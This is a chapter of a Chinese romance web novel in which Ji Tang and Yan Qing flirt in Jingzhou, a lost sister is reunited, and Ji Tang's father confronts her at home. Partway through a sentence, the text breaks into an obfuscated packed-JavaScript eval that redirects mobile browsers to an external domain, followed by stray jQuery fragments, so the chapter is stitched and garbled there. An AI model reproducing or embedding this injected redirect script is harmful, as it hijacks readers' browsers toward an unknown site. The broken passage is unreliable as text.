26. 暧昧
作品:《小青梅她不开窍》 因为她吗?
纪棠看着他,只觉得那双温柔的眼睛里藏着点点星光,是她的影子。
心情起起伏伏,久久不能平静,她捂着隐隐雀跃的心跳,竟然泛着一丝甜意。
言清为了她来荆州,她是很开心的。
得出这个结论,纪棠整个人都轻松了很多,不想气氛太过紧张,她随意指了指言清手里的香囊:“你怎么会有跟我一样的香囊?”
言清把香囊藏进怀里,不太自然道:“你看错了,方才是我胡说的。”
“真的吗?”纪棠将他从头到脚扫了一遍,随后弯着眼睛:“我不信,你给我看看。”
“不给。”
“小气鬼!”纪棠小声咕哝。
“我怎么觉得,是你把我上次掉的那个香囊占为己有了?”纪棠踮起脚戳了戳他的脸,留下两个浅浅的小坑,温热的气息吐在他的耳边:“言大人,你是不是……私藏我的香囊呀?”
“没有。”
言清没说谎,香囊是他光明正大扣下来的,也是堂堂正正挂在身上,何来私藏一说?
“还说没有,若我翻出来,你该如何解释?”纪棠眼睛一转,伸手去挠他的痒痒。
“让我看看,是你身上硬还是嘴巴硬。”
奈何他的忍耐力比小时候还强,从腰间挠到胸口,他就像个木头一样,对她的上下其手丝毫不为所动。
指尖在身上游走,酥酥麻麻的触感让言清忍俊不禁,为了维持表面的平静,他握住她的手腕,将她带向自己,微微俯身。
纪棠停了动作,盯着这张越来越近的俊脸,不自觉咽了下口水。
这样的距离有些危险,压迫和紧张感使她不断往后退。
很快,腰间被一只温暖的手掌拦住。
温度隔着轻薄的衣料传来,心跳如鼓声般响起。
言清看着她,目光如炬:“你知道乞巧节的传说吗?”
听他没头没脑的问了这么一句,纪棠的紧张消散许多,认真回答:“牛郎织女在天上相聚啊。”
“是,也不完全是。”言清笑着,耳尖悄然浮上一层红晕,空出来的手戳了一下她的脸颊:“是有情人相聚的日子。”
“嗯……那个……”人在窘迫的时候会假装自己很忙,纪棠一会儿摸摸耳朵,一会儿踢着脚尖。
听他将“有情人”这几个字咬得很重,纪棠猜到了什么,又不敢相信,顿了顿:“你想说什么?”
“我……”
“我饿了我饿了!”吴沛柔气喘吁吁跑来,袖子撸了上去,打断两人对话:“你们这是在做什么?”
旖旎的氛围被打断,纪棠侧开头:“没什么,钱袋找回来了。”
“那就好。”吴沛柔松了一口气,目光转移到言清那张美得过分的脸,多看了几眼。
忽而对上一道不带情绪的眼神,她瑟缩了一下,朝纪棠身后躲去,靠在她耳边低语:“言大人这都追你追到荆州来了,是不是很快能喝你们喜酒了?”
“……”
纪棠哼唧一声,没理她。
她越理,吴沛柔就越起劲,干脆闭口不谈好了,落个清净。
而她的沉默落在吴沛柔眼里却是坐实了此事,惊讶之余忍不住叹道:“你运气也太好了,送走个探花郎,又来了个状元郎?”
“小棠棠,快教教我!”
纪棠:“……”
言清多了几分笑容,不似方才那般冷脸,顺带着对她们姐妹俩寻亲一事也更为上心了。
吴沛柔顺利与青蓝会面,起初她还有些害怕,担心认错了人,不料青蓝在看到她的脸后,当场哭了起来。
据青蓝所言,吴沛柔跟她们死去的爹长相足有七八分相似。
姐妹二人抱头痛哭,纪棠悄悄在她们中间放了两条手帕,拉着言清躲到一旁,给她们腾出空间。
荆州的气候稍微凉快一些,白日很舒服,到了夜里就有点冷。
她紧了紧外袍,偷偷往言清身边挪了一下。
他的身上很暖和,像个天然的大暖炉,尤其他的手,不知道冬天摸起来会不会很舒服。
呸呸呸!
她在想什么?
摸什么?
纪棠啊纪棠,你怎么变成好色之徒了呢?
“可以摸。”言清突然开口。
纪棠登时红了脸:“你怎么知道我想摸?”
“不对,我才没有想摸。”
言清笑而不语,嘴角勾起的弧度落在纪棠眼里只觉甚是好看。
不行。
她最近也太容易对着这张脸犯傻了,若被人看出来,保不齐要怎么笑话她呢。
反正一回也是摸,两回也是碰,三回也是她不亏,摸完飞快地收回手,与他拉开距离,装作若无其事的样子。
行动大于理智,像是受到了蛊惑,她用指尖轻点了一下他的嘴唇。
那表情好像是在说:是你让我摸的。
言清心情很好,语气轻快不少:“纪棠,你现在越来越喜欢轻薄我了。”
“我是那样的人吗?”纪棠勾勾手指:“就算有,也只有一点点,比蚂蚁还小,绝对不多。”
“若没记错,你已经摸了我很多次了。”言清眼里含笑:“从脸到身体,你几乎……”
“你住口!”纪棠捂着发烫的脸,暂时不想理他,气鼓鼓地加快步伐往前走,走路时连风都带起来不少。
走着走着,她又低着脑袋回来了,拉着言清的袖子:“好吧,是我轻薄你了。”
“大不了我让你轻薄回来。”纪棠眨眨眼:“能不能带我回去,我不认得路。”
言清笑道:“那先欠着吧,等我想好再说。”
*
几人在荆州逗留了几日,吴沛柔说什么也拒绝再回汴京,扬言要跟青蓝一起浪迹天涯。
就连名字都起好了,叫“荆州双姝”。
纪棠跟言清作为外人自然是无法劝说,倒是青蓝不太愿意带着她。
比起妹妹跟着自己吃苦,她更希望她留在汴京,将来嫁得一位如意郎君,爹娘在天之灵也可以放心些。
僵持不下时,尚书府的马车停在客栈门口。
吴夫人面容憔悴,原本乌黑的秀发都生出了几缕银丝,目光触及吴沛柔时忍不住红了眼。
养育之恩大过天,到底是在养父母身边长大成人,饶是吴沛柔再怎么骄纵,也不得不承认,若没有养父母,她早就活不成了。
吴尚书拍了拍言清的肩:“小女不懂事,此番给大人添麻烦了。”
言清道:“大人说笑了。”
“最近朝堂不太平,四皇子野心勃勃……老夫向圣人告假,携妻女外出游玩一段时间。”吴尚书看向一旁哭哭啼啼的妻女,摇头叹道:“既然小女喜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773111|171897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
欢荆州,那我们就留在这休息一段时间。”
“大人与太子殿下交好……万事切莫要注意。”
言清若有所思,郑重地朝他行礼。
这场胡闹的荆州之行就此告一段落。
回到家里,纪棠蹑手蹑脚地从后门溜进去,为了自己不被鸡毛掸子伺候,还特意把言清拉上做垫背。
可谓是怕什么来什么,纪棠刚一开门,就见到一群人在院子里等着她。
而院子正中间的那个高大男人,正是她的父亲,纪如章。
“还知道回来?”纪将军冷哼一声。
本想给妻子儿女一个惊喜,没想到一回家,女儿竟然离家出走了,当真是被他们宠坏了。
纪棠很懂服软的道理,扑到他怀里撒娇:“我当是哪里来的活神仙,这般英明神武,原来是我那玉树临风英俊潇洒的爹啊,女儿可想你了!”说罢,又转身奔向另一个青年:“还有我这美得天上有地下无的哥哥,数月未见,哥哥愈发好看了,可称得上是英姿勃发!”
纪桉今年二十有四,生得一副浓眉大眼,常年征战在外的他皮肤要比寻常人黑一些,说是俊朗无可厚非,可说他美得天上有地下无,倒是有些夸张。
更何况,身边还有言清在,纪安忍不住轻笑。
他性子虽沉默寡言,但对这个妹妹却是极为疼爱,眉眼温和:“下次不许胡闹了。”
“我这不是胡闹,我是行侠仗义!”纪棠嬉皮笑脸道。
纪将军神色略有动容,手里的鸡毛掸子犹犹豫豫始终没有落下。
可转念一想,不给她点教训,下次怕不是连逃婚的事都做得出来,放下的鸡毛掸子又扬了起来。
他倒也没想真的动手,只是想吓唬吓唬她,毕竟是疼在掌心的女儿,哪里舍得动她一根头发?
纪棠却以为他来真的,见状撒开腿就跑,一边跑还不忘把言清拉上:“言哥哥,展现你能力的时候到了。”
言清被她拉了个猝不及防,眼前忽然闪过一个毛茸茸的东西,他下意识转身将纪棠护在怀里。
直到背上传来轻轻的痛感,他才反应过来,自己被打了。
纪将军瞬间变了脸色。
没想到手一抖,竟然真的打到了人。
纪夫人看不下去了,过来夺走鸡毛掸子:“有你这么做长辈的吗?一见面就打人,把我们未来女婿都打坏了怎么办?”
言清笑了一下:“无妨。”
纪棠还被他圈在怀里,没注意到他并未否认“未来女婿”的称呼。
淡淡的香气再次席卷而来,她偷偷吸了一口,竟生出了一股想咬的冲动。
这可不好。
她最近都快成女登徒子了。
院里乱成一团,最后还是纪桉出来打圆场:“栩之也不是外人,还请莫要跟家父计较。”
言清失笑:“怎么会。”
“会,会得很!”纪棠拉着他的手:“爹啊,女儿替你检查检查有没有把人打坏!”
没等其他人回答,她就带言清跑回自己房间里。
房门被重重关上,纪棠把他按在太师椅上:“让我看看打成什么样了?”
言清其实很想说,那一下就像蚊子咬了一般,没什么感觉。可见她焦急的模样,又忍不住逗逗她:“纪棠,你已经是第二次要看光我了。”
“看光了,是要负责的。”